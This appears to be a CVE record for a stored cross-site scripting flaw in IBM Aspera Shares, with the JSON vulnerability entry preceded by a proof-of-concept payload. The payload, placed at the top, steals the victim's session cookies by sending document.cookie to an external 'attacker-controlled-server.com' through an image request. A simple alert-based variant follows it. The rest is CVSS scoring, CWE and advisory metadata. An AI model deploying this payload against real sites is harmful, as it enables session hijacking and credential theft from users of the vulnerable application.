CVE-2025-66484

<!-- Proof of Concept: Stored XSS in IBM Aspera Shares --> <!-- Attacker injects this payload into a vulnerable input field (e.g., File Description) --> <script> // Log execution to console console.log('CVE-2025-66484 XSS Executed'); // Demonstrate credential theft by sending cookies to an external server var stolenCookies = document.cookie; var attackerUrl = 'http://attacker-controlled-server.com/collect?data=' + encodeURIComponent(stolenCookies); // Use fetch or Image to send data exfiltration request var img = new Image(); img.src = attackerUrl; </script> <!-- Alternative Payload: Simple Alert for Verification --> <img src=x onerror=alert('XSS_PoC_CVE-2025-66484')>

{"cve": {"id": "CVE-2025-66484", "sourceIdentifier": "[email protected]", "published": "2026-04-01T23:17:02.103", "lastModified": "2026-04-03T19:49:23.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Aspera Shares 1.9.9 through 1.11.0 is vulnerable to stored cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:aspera_shares:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.9", "versionEndExcluding": "1.11.1", "matchCriteriaId": "E91033A7-CCAD-49AB-814E-73898AC951E9"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7267848", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}